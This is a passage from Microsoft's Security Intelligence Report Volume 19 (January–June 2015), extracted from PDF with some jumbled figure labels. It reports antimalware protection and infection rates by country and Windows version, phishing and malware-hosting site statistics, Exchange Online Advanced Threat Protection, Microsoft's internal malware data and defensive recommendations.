JUNE 2015 87 Figure 65. Percentage of computers worldwide protected by real-time security software, 3Q14 2Q15 Always protected Percent of computers running the MSRT Unprotected Intermittently protected 3Q14 4Q14 1Q15 2Q15 A typical computer runs the MSRT three times each quarter, once for each monthly version of the tool that Microsoft releases. In Figure 65, Protected represents computers that had real-time security software active and up-todate every time the MSRT ran during a quarter; Intermittently protected represents computers that had security software active during one or more MSRT executions, but not all of them. Unprotected represents computers that did not have security software active during any MSRT executions that quarter. Overall, about three-fourths of computers worldwide were found to be always protected at every monthly MSRT execution in each of the past four quarters, varying between 71.4 percent and 74.3 percent. Computers that never reported running security software accounted for between 18.8 and 19.3 percent of computers worldwide each quarter. Intermittently protected computers those that were found to be running real-time security software during at least one MSRT execution in a quarter, but not all of them accounted for between 6.4 and 9.9 percent of computers each quarter. Computers that do not run real-time security software are at significantly greater risk of malware infection than computers that do. Figure 66 compares infection rates with protection levels worldwide for each of the last four quarters. 88 MALWARE AND UNWANTED SOFTWARE Figure 66. Infection rates for protected and unprotected computers, 3Q14 2Q15 Computers cleaned per 1,000 scanned Unprotected Intermittently protected Always protected 3Q14 4Q14 1Q15 2Q15 Figures do not include Brantall, Rotbrow, and Filcout. See Brantall, Rotbrow, and Filcout on page 60 for more information. The MSRT reported that computers that were never found to be running real-time security software during 1H15 were about six times as likely to be infected with malware as computers that were always found to be protected. Computers that were intermittently protected were about three times more likely to be infected with malware in 1H15 than computers that were always protected. Users who don t run real-time security software aren run real-time always unprotected by choice: a number of prevalent malware families are capable of disabling some security security software products, potentially without the user even knowing. aren t always Other users might disable or uninstall security software unprotected by intentionally because of perceived performance issues, a belief that protection is not necessary, or a desire to run choice. programs that would be quarantined or removed by security software. In other cases, users lose up-to-date real-time protection when they don t renew paid subscriptions for their antimalware software, which might come pre-installed with their computers as limited-time trial software. (See The challenge of expired security software on pages 21 of Microsoft Security Intelligence Report, Volume 17 (January June 2014), available from the Microsoft Download Center, for more information about Users who don MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 89 the causes and consequences of expired security software.) Whatever the reason, users who don t have functioning real-time antimalware protection face significantly greater risk from malware infection than users who do, as Figure 66 illustrates. Security software use worldwide Just as infection and encounter rates differ from one country or region to another, so do security software usage rates, as shown in Figure 67. Figure 67. Average security software protection state for the locations with the most computers executing the MSRT in 1H15 100% Percent of computers running the MSRT (Worldwide) China United States Japan Protected Germany France Intermittent United Kingdom Brazil Russia Canada Italy Unprotected Computers that reported being fully protected in these locations ranged between 67.7 percent and 79.1 percent, with all locations except China and Russia exceeding the worldwide rate of 74.3 percent of computers reporting as fully protected. Computers that reported being fully unprotected in these locations ranged between 13.6 percent and 22.5 percent, with Russia and China reporting larger percentages of fully unprotected computers than the world overall. Computers that were protected in some months but not in others accounted for between 4.6 percent and 9.8 percent in these locations. The rate of security software usage in a country or region often correlates with its infection rate. Figure 68 and Figure 69 show the percentage of computers in 90 MALWARE AND UNWANTED SOFTWARE different countries and regions that reported being fully protected and fully unprotected, respectively, in 2Q15. Figure 68. Percent of computers reporting as Protected during every MSRT execution in 2Q15, by country/region Figure 69. Percent of computers reporting as Unprotected during every MSRT execution in 2Q15, by country/region The locations with the most computers reporting as fully protected by realtime security software include Finland, with 83.9 percent of computers reporting as fully protected in 2Q15; Denmark, at 79.5 percent; and Norway, at 78.9 percent. Locations with the fewest computers reporting as fully protected include Libya, at 46.9 percent; Iraq, at 53.3 percent; and Azerbaijan, at 57.9 percent. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 91 The ranking of countries and regions by unprotected rate is largely an inverse of their ranking according to protected rate. The locations with the fewest computers reporting as fully unprotected include Finland, at 10.4 percent; Denmark, at 14.2 percent; and the Czech Republic, at 14.4 percent. Locations with the most computers reporting as fully unprotected include Libya, at 41.7 percent; Iraq, at 39.5 percent; and Azerbaijan, at 32.5 percent. Countries and regions with high percentages of computers reporting as fully unprotected also tend to have high infection rates, as Figure 70 shows. Figure 70. Infection rates for the locations with the highest percentage of computers reporting as fully unprotected in 1H15 Country/region 1H15 average unprotected % CCM 1Q15 CCM 2Q15 Unprotected Unprotected CCM 1Q15 CCM 2Q15 Libya 40.76% 61.0 69.8 126.8 145.5 Iraq 39.29% 76.6 80.2 178.0 187.8 Azerbaijan 32.19% 29.0 34.1 72.5 80.7 Mongolia 32.19% 66.8 77.6 178.4 202.3 Morocco 32.19% 58.2 66.6 162.7 181.5 Palestinian Authority 32.18% 59.5 68.7 157.3 182.0 Jordan 31.04% 36.6 45.3 98.8 120.4 Turkey 30.24% 22.5 26.3 59.7 63.6 Lebanon 30.22% 31.7 42.5 90.9 114.3 Vietnam 29.71% 30.4 35.8 77.6 92.6 Worldwide 19.11% 15.7 20.7 Figures do not include Brantall, Rotbrow, and Filcout. See Brantall, Rotbrow, and Filcout on page 60 for more information. The locations in the table all had overall infection rates ranging between 3.1 and 14.2 times as high as the worldwide average each quarter. The infection rates for fully unprotected computers in these locations ranged between 3.1 and 11.4 times as high as the infection rates for fully unprotected computers worldwide, and between 7.6 and 33.0 times as high as the infection rates for all computers worldwide. In Mongolia, the location with the highest infection rates in Figure 70, the MSRT detected and removed malware on 20.2 percent of the fully unprotected computers that executed it at least once in 2Q15 (a CCM of 202.3). 92 MALWARE AND UNWANTED SOFTWARE Security software use by platform Protection rates can also vary by operating system, as shown in Figure 71. Figure 71. Average quarterly security software protection state for supported client versions of Windows in 1H15 100% Percent of computers running the MSRT Windows Vista SP2 Windows 7 SP1 Protected Intermittent Windows 8 RTM Windows 8.1 RTM Unprotected Only 10.0 percent of computers running Windows 8.1 reported being unprotected during every MSRT execution each quarter on average, about half of the rate reported by computers running any other supported client version of Windows. At the same time, Windows 8.1 had a higher rate of intermittent protection than any other platform, primarily because of active security products expiring during the period. In most cases, this is probably because of commercial security products pre-installed on new computers with trial subscriptions that expire within a few months unless the purchaser pays to extend the subscription. The reasons computers go unprotected can vary significantly by platform, as Figure 72 illustrates. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 93 Figure 72. Status reported by unprotected computers running supported client versions of Windows in 1H15 Percent of computers reporting as unprotected 100% Windows Vista SP2* Expired Windows 7 SP1* Out of date Windows 8 RTM No AV installed Windows 8.1 RTM Snoozed * Windows Vista and Windows 7 do not report expired subscriptions. On Windows Vista and Windows 7, unprotected computers predominantly report having no antimalware software installed at all. On Windows 8 and Windows 8.1, Windows Defender is enabled by default if no other antimalware software is present, so the number of computers reporting no antimalware software is very low. On Windows 8 and Windows 8.1, expired versions of commercial antimalware products that are no longer receiving signature updates account for the largest percentage of unprotected computers. Advanced Threat Protection takes malware defense to the next level Computer security is a constant arms race: security professionals and antimalware vendors continually seek ways to better protect computers and people from harm, while attackers continually look for ways to defeat those protections. Conventional antimalware products offer protection against known threats, but are significantly less effective against unknown and unidentifiable malware. The advent of targeted attack groups, such as the one described in STRONTIUM: A profile of a persistent and motivated adversary beginning on page 3, has raised the bar for defenders, as these groups often have the resources to craft custom malware variants and test them against popular security products to ensure that they will not be detected. Although security 94 MALWARE AND UNWANTED SOFTWARE software vendors try to respond to new threats with detection signature updates as quickly as possible, new malware variants may still have several crucial hours or days to compromise computers, free from detection. Office 365 and Exchange Online seek to close that gap for their customers with Advanced Threat Protection, which was introduced earlier this year. For years, Exchange Online has offered customers multiple layers of protection from malicious files, including scanning incoming email attachments with multiple antimalware engines from different vendors to take advantage of a broad set of detection signatures and capabilities. Now, Advanced Threat Protection provides an additional layer of defense against threats and malicious links that have never been seen before. Figure 73. How Advanced Threat Protection works with Exchange Online Sender Detonation chamber (sandbox) Executable? Registry call? Elevation? Unsafe Multiple filters + 3 antivirus engines with Exchange Online protection Attachment Supported file type Clean by AV/AS filters Not in Reputation list Links Safe Recipient Safe attachments Using a real-time security software product from a reputable vendor and keeping the detection signatures up-to-date remains one of the best ways individuals and organizations can protect themselves against most of the threats they face. Antimalware software relies predominately on detection signatures written to target specific malicious binaries, or groups of closely related threats that can be detected heuristically. This approach can be a very effective defense against most malware, which attackers typically try to distribute widely in order to compromise large numbers of computers for their purposes. Unfortunately, conventional antimalware software is often less effective against targeted attacks mounted by groups such as STRONTIUM (see page 3). These groups, which focus on targeting computers at specific institutions, often use specially crafted threats that they test against popular antimalware solutions ahead of time to MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 95 ensure that they will not be detected. By the time detection signatures are available to stop such a threat, it may have already compromised the organization. Exchange Online Advanced Threat Protection adds a new layer of defense against email-borne threats that uses behavioral analysis to detect incoming files that may be harmful, and blocks them before they can reach their intended recipients. When an incoming message includes a potentially dangerous attached file, Exchange Online launches it in a detonation chamber a virtual sandboxed environment in which potential threats can run without posing harm to any other resources and monitors it for malicious behavior such as suspicious registry changes, attempts to access memory dumps, changes to executables, and other actions that malware characteristically takes. This monitoring makes it possible to detect and block threats that have never been seen before and for which no detection signatures are available. Exchange Online Advanced Threat Protection includes anti-sandbox detection features such as vulnerability detection to combat advanced threats that avoid taking malicious actions when they determine they are being run in a virtual machine. Figure 74. Exchange Online Advanced Threat Protection notifies administrators when malware is detected Administrators can configure how Exchange Online reacts when it determines that an attachment contains malware. Exchange Online can be configured to block delivery of the message, notify administrators, and include a copy of the blocked message so they can analyze it themselves and determine whether additional action is necessary. The process of analyzing a message typically takes about four to five minutes; administrators can set a 30 minute time limit for 96 MALWARE AND UNWANTED SOFTWARE analysis, after which the message will either be delivered or blocked, as administrators see fit. Figure 75. Types of malicious files blocked by Exchange Online Advanced Threat Protection over a two-month period in 2015 Others 47.5% 1.3% PowerPoint 1.8% URL 3.8% Word 7.3% 29.5% Excel 8.7% Safe links In addition to sending malware to recipients directly, attackers often send email messages that contain links to malware or drive-by download pages, in hopes that the recipients will click the links and become infected. To provide protection against malicious links, administrators can configure Exchange Online Advanced Threat Protection to rewrite any links in incoming messages to proxy through the Exchange Online service. When a user clicks on a rewritten link, Exchange Online checks the intended destination URL against its database of malicious URLs. If the URL is not determined to be malicious, the user is quickly and seamlessly redirected to their intended destination. If the URL is determined to be malicious, a blocking page is displayed instead. Exchange Online Advanced Threat Protection checks each URL at the time the link is clicked, which means it can protect users from malicious links that were not known to be malicious at the time the message was originally sent. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 97 Figure 76. Exchange Online Advanced Threat Protection blocks malicious links in email messages Exchange Online Advanced Threat Protection can be configured to track when users clicks malicious links to help administrators monitor potential targeted attacks and determine which computers may have been exposed to malware. Customers with privacy or compliance concerns can disable the link tracking feature. Advanced Threat Protection is available for subscribers of select Exchange or Office 365 plans for an additional small per-user fee. For more information, see https://products.office.com/exchange/online-email-threat-protection. Guidance: Defending against malware Effectively protecting users from malware requires an active effort on the part of organizations and individuals. For in-depth guidance, see Help prevent malware infection on your PC at the Microsoft Malware Protection Center website at www.microsoft.com/mmpc. For help understanding the threats that pose the greatest risk to your environment and how to defend against them, see Fixing the #1 Problem in Computer Security: A Data-Driven Defense, available from Microsoft TechNet. 98 MALWARE AND UNWANTED SOFTWARE Malicious websites Attackers often use websites to conduct phishing attacks or distribute malware. Malicious websites typically appear to be completely legitimate, and provide no outward indicators of their malicious nature even to experienced computer users. In many cases, these sites are legitimate websites that have been compromised by malware, SQL injection, or other techniques in efforts by attackers to take advantage of the trust users have invested in such sites. To help protect users from malicious webpages, Microsoft and other browser vendors have developed filters that keep track of sites that host malware and phishing attacks and display prominent warnings when users try to navigate to them. The information in this section is compiled from a variety of sources, including telemetry data produced by SmartScreen Filter (in Internet Explorer versions 8 through 11 and pre-release versions of Microsoft Edge) and the Phishing Filter (in Internet Explorer 7), from a database of known active phishing and malware hosting sites reported by users of Internet Explorer and other Microsoft products and services, and from malware data provided by Microsoft antimalware technologies. (See Appendix B: Data sources on page 125 for more information about the products and services that provided data for this report.) MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 99 Figure 77. SmartScreen Filter in Internet Explorer blocks reported phishing and malware distribution sites to protect users Phishing sites Microsoft gathers information about phishing sites and impressions from phishing impressions that are generated by users who choose to enable the Phishing Filter or SmartScreen Filter.21 A phishing impression is a single instance of a user attempting to visit a known phishing site with SmartScreen Filter enabled and being warned, as illustrated in Figure 78. 21 See Appendix B: Data sources on page 129 for information about the products and services used to provide data for this report. 100 MALICIOUS WEBSITES Figure 78. How Microsoft tracks phishing impressions Figure 79 illustrates the volume of phishing impressions tracked by SmartScreen Filter each month from February through July of 2015, compared to the volume of distinct phishing URLs visited. Figure 79. Phishing sites and impressions reported by SmartScreen Filter, February July 2015, relative to the monthly average for each 160% Sites 140% Impressions Percent of monthly average 120% Average 100% February March April June July MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 101 Numbers of active phishing sites and phishing impressions both increased between February and July, indicative of a general increase in phishing activity. Because phishers are frequently observed using campaigns to drive large amounts of traffic to a relatively small number of pages, however, the two metrics are generally not strongly correlated, and the dual increase through June and July may be largely coincidental. Target institutions Some types of sites tend to consistently draw many more impressions per site than others. Figure 80 shows the breakdown of phishing impressions by category as reported by SmartScreen Filter. Figure 80. Impressions reported by SmartScreen Filter for each type of phishing site, February July 2015 Percent of total impressions/sites Impressions Sites Online Services 102 MALICIOUS WEBSITES Financial Sites Social Networking E-Commerce Gaming Financial institutions have always been popular phishing targets because of their potential for providing direct illicit access to victims bank accounts. Sites that targeted financial institutions accounted for the largest number of active phishing attacks during the period, as well as the second largest number of impressions. (See Win32/Banload and Banking Malware page 21 for information about regional problems with banking malware in Brazil.) Phishing sites that targeted online services received the largest share of impressions during the period, and accounted for the second largest number of active phishing URLs. The other three categories each accounted for a small percentage of both sites and impressions. Global distribution of phishing sites and clients Phishing impression information from SmartScreen Filter includes anonymized information about the IP addresses of the clients making the reports, as well as the IP addresses of the phishing sites themselves. Performing geographic lookups on these addresses makes it possible to analyze patterns among both the computers that host phishing sites and the users that they target. Figure 81. Phishing sites per 1,000 Internet hosts for locations around the world in 1H15 SmartScreen Filter detected approximately 5.0 phishing sites per 1,000 Internet hosts worldwide in 1H15. Locations hosting higher than average concentrations of phishing sites include Bulgaria (98.5 per 1,000 Internet hosts in 1Q15), Libya (15.6), and Belize (14.5). Locations with low concentrations of phishing sites include Taiwan (1.2), the United Arab Emirates (1.4), and Korea (1.6). Malware hosting sites SmartScreen Filter helps provide protection against sites that are known to host malware, in addition to phishing sites. SmartScreen Filter uses file and URL MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 103 reputation data and Microsoft antimalware technologies to determine whether sites distribute unsafe content. As with phishing sites, Microsoft collects anonymized data regarding how many people visit each malware hosting site and uses the information to improve SmartScreen Filter and to better combat malware distribution. Figure 82. SmartScreen Filter in Internet Explorer displays a warning when a user attempts to download an unsafe file Figure 83 compares the volume of active malware hosting sites in the Microsoft database each month with the volume of malware impressions tracked. Figure 83. Malware hosting sites and impressions tracked each month, February July 2015, relative to the monthly average for each 180% 160% Percent of monthly average 140% 120% Sites Impressions 100% Average February 104 MALICIOUS WEBSITES March April June July As with phishing sites and impressions, malware hosting sites and impressions rarely correlate strongly with one another. The number of impressions remained largely stable each month from February through July, while the number of active malware hosting sites tracked by SmartScreen Filter increased sharply from February to April, then retreated to lower levels for the remainder of the period. Global distribution of malware hosting sites and clients Figure 84 shows the geographic distribution of malware hosts and computers reporting impressions in 1H15. Figure 84. Malware distribution sites per 1,000 Internet hosts for locations around the world in 1H15 SmartScreen Filter detected approximately 16.7 malware hosting sites per 1,000 Internet hosts worldwide in 1H15. Locations with large concentrations of malware hosting sites included Brazil (41.0 per 1,000 Internet hosts in 1H15), Costa Rica (38.8), and Russia (23.9). Locations with low concentrations of malware hosting sites included Taiwan (2.8), Saudi Arabia (4.3), and Finland (4.4). Drive-by download sites A drive-by download site is a website that hosts one or more exploits that target vulnerabilities in web browsers and browser add-ons. Users with vulnerable computers can be infected with malware simply by visiting such a website, even without attempting to download anything. Drive-by download pages are usually hosted on legitimate websites to which an attacker has posted exploit code. Attackers gain access to legitimate sites through intrusion or by posting malicious code to a poorly secured web form, like a comment field on a blog. Compromised sites can be hosted anywhere in the world and concern nearly any subject imaginable, making it difficult for even an experienced user to identify a compromised site from a list of search results. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 105 Figure 85. One example of a drive-by download attack Search engines such as Bing have taken a number of measures to help protect users from drive-by downloads. As Bing indexes webpages, they are assessed for malicious elements or malicious behavior. Because the owners of compromised sites are usually victims themselves, the sites are not removed from the Bing index. Instead, clicking the link in the list of search results displays a prominent warning, saying that the page may contain malicious software, as shown in Figure 86. Figure 86. A drive-by download warning from Bing 106 MALICIOUS WEBSITES Figure 87 shows the concentration of drive-by download pages in countries and regions throughout the world at the end of 1Q15 and 2Q15, respectively. Figure 87. Drive-by download pages indexed by Bing at the end of 1Q15 (top) and 2Q15 (bottom), per 1,000 URLs in each country/region Each map shows the concentration of drive-by download URLs tracked by Bing in each country or region on a reference date at the end of the associated quarter, expressed as the number of drive-by download URLs per every 1,000 URLs hosted in the country/region. Significant locations with high concentrations of drive-by download URLs in both quarters include Panama, with 8.7 drive-by URLs for every 1,000 URLs tracked by Bing at the end of 2Q15; Vietnam, with 3.0; and Russia, with 1.7. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 107 Guidance: Protecting users from unsafe websites One of the best ways organizations can protect their users from malicious and compromised websites is by mandating the use of web browsers with appropriate protection features built in and by promoting safe browsing practices. For in-depth guidance, see Top security solutions www.microsoft.com/security/pc-security/solutions.aspx. 108 MALICIOUS WEBSITES Mitigating risk Malware at Microsoft: Dealing with threats in the Microsoft environment ........................................................... 111 110 MALICIOUS WEBSITES Malware at Microsoft: Dealing with threats in the Microsoft environment Microsoft IT Microsoft IT provides information technology services internally for Microsoft employees and resources. Microsoft IT manages more than 600,000 devices for more than 150,000 users across more than 100 countries and regions worldwide. Safeguarding a computing infrastructure of this size requires implementation of strong security policies, technology to help keep malware off the network and away from mission-critical resources, and dealing with malware outbreaks swiftly and comprehensively when they occur. This section of the report compares the potential impact of malware to the levels of antimalware compliance from more than 500,000 workstation computers and devices managed by Microsoft IT between January and June 2015. This data is compiled from multiple sources, including System Center Endpoint Protection (SCEP), Windows Defender, DirectAccess, forensics, and manual submission of suspicious files. Comparing the nature and volume of the malware detected on these computers to the level of protection they receive can illustrate significant trends and provide insights as to the effectiveness of antimalware software and security best practices. Antimalware usage Real-time antimalware software is required on all user devices that connect to the Microsoft corporate network. System Center Endpoint Protection 2012 (SCEP) and Windows Defender are the antimalware solutions that Microsoft IT deploys to its users. To be considered compliant with antimalware policies and standards, user computers must be running the latest version of the SCEP or Defender client, antimalware signatures must be no more than six days old, and real-time protection must be enabled. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 111 Figure 88 shows the level of antimalware noncompliance in the Microsoft user workstation environment for each month in 1H15. Figure 88. Percentage of computers at Microsoft running real-time antimalware software in 1H15 Percent of computers running real-time antimalware software 100% January February March April June Despite a small drop in compliance at the beginning of the year that was mostly related to internal testing of current and future versions of Windows, the average monthly compliance rate at Microsoft exceeded 98 percent during the first half of the year. In any network of this size, it is almost inevitable that a small number of computers will be in a noncompliant state at any given time. In most cases, these are computers that are being rebuilt or are otherwise in a state of change when online, rather than computers that have had their antimalware software intentionally disabled. Microsoft IT believes that a compliance rate in excess of 98 percent among approximately half a million computers is an acceptable level of compliance. In most cases, attempting to boost a large organization s compliance rate the rest of the way to 100 percent will likely be a costly endeavor, and the end result 100 percent compliance will be unsustainable over time. Malware detections Figure 89 shows the categories of malware and unwanted software that were most frequently detected at Microsoft in 1H15. 112 MALWARE AT MICROSOFT: DEALING WITH THREATS IN THE MICROSOFT ENVIRONMENT Figure 89. Top categories of malware and unwanted software detected by System Center Endpoint Protection at Microsoft in 1H15 1,400,000 1,200,000 Threat detections 1,000,000 800,000 600,000 400,000 200,000 Adware Downloaders Browser & Droppers Modifiers Trojans Exploits Other Malware Worms Viruses Backdoors Password Stealers & Monitoring Tools In this section, malware detections are defined as files and processes flagged by SCEP, regardless of the success or failure of automated containment or remediation. Malware detections are a measure of attempted malware activity, and do not necessarily indicate that a computer has been successfully infected. (Note that the methodology for assessing encounters used elsewhere in this report counts unique computers with detections, an approach that differs from the methodology used in this section, in which individual detections are counted. For example, if a computer encountered one trojan family in February and another one in June, it would only be counted once for the purposes of figures such as Figure 49 on page 70. In the preceding Figure 89, it would be counted twice, once for each detection.) Adware was the most prevalent category, with nearly one and a half times as many detections as all other categories combined. The outsized number of internal adware detections is caused by a pilot project that MSIT has undertaken with the Microsoft Security Response Center (MSRC) to improve detection of adware and other unwanted software. As this work is evaluated and found to produce valid and satisfactory results, any improved detection methods will be incorporated into Microsoft security products for the benefit of customers and end users. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 113 Figure 90 shows the top 10 file types among threat detections at Microsoft in 1H15. Figure 90. Top ten file types used by threats detected at Microsoft in 1H15 1,400,000 1,200,000 Threat detections 1,000,000 800,000 600,000 400,000 200,000 .exe .dll .tmp .temp .xml .host .xls .htm .mp3 .lnk Executable program files with the .exe extension were the most commonly detected type of malicious file at Microsoft by a large margin. Many of these detections were related to the joint effort between MSIT and the MSRC to improve detection of unwanted software, as noted earlier. Malicious .dll files were the next most common type of threats, followed by the .tmp and .temp extensions, typically used for temporary files. Transmission vectors Examining the processes targeted by malware can help illustrate the methods that attackers use to propagate it. Figure 91 lists the top five transmission vectors used by the malware encountered at Microsoft in 1H15. 114 MALWARE AT MICROSOFT: DEALING WITH THREATS IN THE MICROSOFT ENVIRONMENT Figure 91. The top five transmission vectors used by malware encountered at Microsoft in 1H15 Rank Description Web browsing File transfers in the operating system Scheduled tasks in the operating system Cloud backup/storage File transfer applications The transmission vector most commonly used by infection attempts detected on Microsoft computers in 1H15 involved web browsing, followed by file transfers made through Windows Explorer and scheduled operating system tasks. Cloud backup and storage services were fourth, followed by file transfer applications, including peer-to-peer (P2P) applications. Malware infections Because almost all of the computers at Microsoft run real-time security software at all times, most infection attempts are detected and blocked before they are able to infect the target computer. When Defender or SCEP do disinfect a computer, it is usually because the software s signature database has been updated to enable it to detect a threat that it did not recognize when the computer first encountered the threat. This lack of recognition may be because the threat is a new malware family, a new variant of a known family, a known variant that has been encrypted or otherwise repackaged to avoid detection, or because of some other reason. The MMPC constantly analyzes malware samples submitted to it, develops appropriate detection signatures, and deploys them to customers who use SCEP, Microsoft Security Essentials, and Windows Defender. Figure 92 shows the most commonly detected categories of malware and unwanted software that SCEP and Defender removed from computers at Microsoft between January and June of 2015. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 115 Figure 92. Infections and removals at Microsoft in 1H15, by category Threat infections and removals Downloaders & Droppers Trojans Backdoors Worms Software Bundlers Obfuscators & Injectors Other Malware As this chart shows, detection and infection statistics were significantly different in 1H15. Adware, which accounted for more than 1.2 million detections at Microsoft in 1H15, was not discovered on a single computer internally during the period. Most of the other categories also show clear differences between Figure 89 and Figure 92, although the ordering in the latter chart is significantly influenced by the low volumes involved. Figure 93 shows the top 10 file types used by malware to infect computers at Microsoft in 1H15. 116 MALWARE AT MICROSOFT: DEALING WITH THREATS IN THE MICROSOFT ENVIRONMENT Figure 93. Infections and removals at Microsoft in 1H15, by file type Threat infections and removals .exe .doc .bin .scr .txt .chm .lnk Figure 93 is important because it provides information about threats that Defender and SCEP did not detect when they were first encountered therefore provides a clue about the areas in which malware authors have been focusing their efforts in recent months. More than half of the malicious files removed from computers at Microsoft by Defender and SCEP in 1H15 had the extension .exe, used by executable program files, with seven extensions accounting for the remaining files. The .doc extension used for Microsoft Word binary files was next, followed by .bin, .scr, and , an extension consisting of a single underscore. Four other file types each accounted for a single removal. What IT departments can do to protect their users Evaluate commercially available management tools, develop a plan, and implement a third-party update mechanism to disseminate non-Microsoft updates. Ensure that all software deployed on computers in the environment is updated regularly. If the software provider offers an automatic update utility similar to Microsoft Update, ensure that it is enabled by default. See Turn automatic updating on or off at windows.microsoft.com for instructions on enabling automatic updates of Microsoft software. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 117 Ensure that SmartScreen Filter is enabled in Internet Explorer. See SmartScreen Filter: frequently asked questions at windows.microsoft.com for more information. Use Group Policy to enforce configurations for Windows Update, Windows Firewall, and SmartScreen Filter. See Knowledge Base article KB328010 at support.microsoft.com, and Windows Firewall with Advanced Security Deployment Guide and Manage Privacy: SmartScreen Filter and Resulting Internet Communication at technet.microsoft.com for instructions. Set the default configuration for antimalware to enable real-time protection across all drives, including removable devices. Enable Microsoft Active Protection Service (MAPS) advanced membership in Windows Defender and Microsoft Security Essentials in your organization to protect your enterprise software security infrastructure in the cloud. Figure 94. Enabling MAPS advanced membership in Windows Defender Identify business dependencies on Java and develop a plan to minimize its use where it is not needed. Use AppLocker to block the installation and use of unwanted software such as Java or peer-to-peer (P2P) applications. See AppLocker: Frequently Asked Questions at technet.microsoft.com for more information. 118 MALWARE AT MICROSOFT: DEALING WITH THREATS IN THE MICROSOFT ENVIRONMENT Implement the Enhanced Mitigation Experience Toolkit (EMET), if possible, to minimize exploitation of vulnerabilities in all software in your environment. See technet.microsoft.com/security/jj653751 for more information. Implement strong password policies, and require employees to change their passwords periodically. Strengthen authentication by using smart cards. See Smart Cards technet.microsoft.com for more information. Use Network Access Protection (NAP) and DirectAccess (DA) to enforce compliance policies for firewall, antimalware, and patch management on remote systems that connect to a corporate network. See Network Access Protection at msdn.microsoft.com and Windows 7 DirectAccess Explained technet.microsoft.com for more information. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 119 Appendixes Appendix A: Threat naming conventions ..............................123 Appendix B: Data sources ...........................................................125 Appendix C: Worldwide encounter and infection rates .... 127 Glossary .............................................................................................132 Threat families referenced in this report................................ 141 Index ..................................................................................................148 122 MALWARE AT MICROSOFT: DEALING WITH THREATS IN THE MICROSOFT ENVIRONMENT Appendix A: Threat naming conventions Microsoft names the malware and unwanted software that it detects according to the Computer Antivirus Research Organization (CARO) Malware naming scheme. This scheme uses the following format: Figure 95. The Microsoft malware naming convention When Microsoft analysts research a particular threat, they will determine what each of the components of the name will be. Type The type describes what the threat does on a computer. Worms, trojans, and viruses are some of the most common types of threats Microsoft detects. Platform The platform refers to the operating system (such as Windows, Mac OS X, and Android) that the threat is designed to work on. Platforms can also include programming languages and file formats. Family A group of threats with the same name is known as a family. Sometimes different security software companies use different names. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 123 Variant letters Variant letters are used sequentially for each different version or member of a family. For example, the detection for the variant would have been created after the detection for the variant .AE. Additional information Additional information is sometimes used to describe a specific file or component that is used by another threat in relation to the identified threat. In the preceding example, the !lnk indicates that the threat is a shortcut file used by the Backdoor:Win32/Caphaw.D variant, as shortcut files usually use the extension .lnk. 124 APPENDIX A: THREAT NAMING CONVENTIONS Appendix B: Data sources Data included in the Microsoft Security Intelligence Report is gathered from a wide range of Microsoft products and services whose users have opted in to provide usage data. The scale and scope of this telemetry data allows the report to deliver the most comprehensive and detailed perspective on the threat landscape that is available in the software industry: Bing, the search and decision engine from Microsoft, contains technology that performs billions of webpage scans per year to seek out malicious content. After such content is detected, Bing displays warnings to users about it to help prevent infection. Exchange Online is Microsoft s hosted email service for business. Exchange Online antimalware and antispam services scan billions of messages every year to identify and block spam and malware. The Malicious Software Removal Tool (MSRT) is a free tool that Microsoft designed to help identify and remove specific prevalent malware families from customer computers. The MSRT is primarily released as an important update through Windows Update, Microsoft Update, and Automatic Updates. A version of the tool is also available from the Microsoft Download Center. The MSRT was downloaded and executed more than 600 million times each month on average in 1H15. The MSRT is not a replacement for an up-to-date real-time antivirus solution. The Microsoft Safety Scanner is a free downloadable security tool that provides on-demand scanning and helps remove malware and other malicious software. The Microsoft Safety Scanner is not a replacement for an up-to-date antivirus solution, because it does not offer real-time protection and cannot prevent a computer from becoming infected. Microsoft Security Essentials is a free, easy-to-download real-time protection product that provides basic, effective antivirus and antispyware protection for Windows Vista and Windows 7. Microsoft System Center Endpoint Protection (formerly Forefront Client Security and Forefront Endpoint Protection) is a unified product that provides protection from malware and unwanted software for enterprise desktops, laptops, and server operating systems. It uses the Microsoft MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 125 Malware Protection Engine and the Microsoft antivirus signature database to provide real-time, scheduled, and on-demand protection. Office 365 is the Microsoft Office subscription service for business and home users. Select business plans include access to Exchange Online with Advanced Threat Protection. SmartScreen Filter, a feature in Internet Explorer and Microsoft Edge, offers users protection against phishing sites and sites that host malware. Microsoft maintains a database of phishing and malware sites reported by users of Internet Explorer and other Microsoft products and services. When a user attempts to visit a site in the database with the filter enabled, the browser displays a warning and blocks navigation to the page. Windows Defender in Windows 8 and Windows 8.1 provides real-time scanning and removal of malware and unwanted software. Windows Defender Offline is a downloadable tool that can be used to create a bootable CD, DVD, or USB flash drive to scan a computer for malware and other threats. It does not offer real-time protection and is not a substitute for an up-to-date antimalware solution. Figure 96. US privacy statements for the Microsoft products and services used in this report Product or service Privacy statement URL Bing www.microsoft.com/en-us/privacystatement/default.aspx Exchange Online www.microsoft.com/online/legal/v2/?docid=22&langid=en-us Internet Explorer 11 windows.microsoft.com/en-us/internet-explorer/ie11-preview-privacy-statement Malicious Software Removal Tool www.microsoft.com/security/pc-security/msrt-privacy.aspx Microsoft Security Essentials windows.microsoft.com/en-us/windows/security-essentials-privacy Microsoft 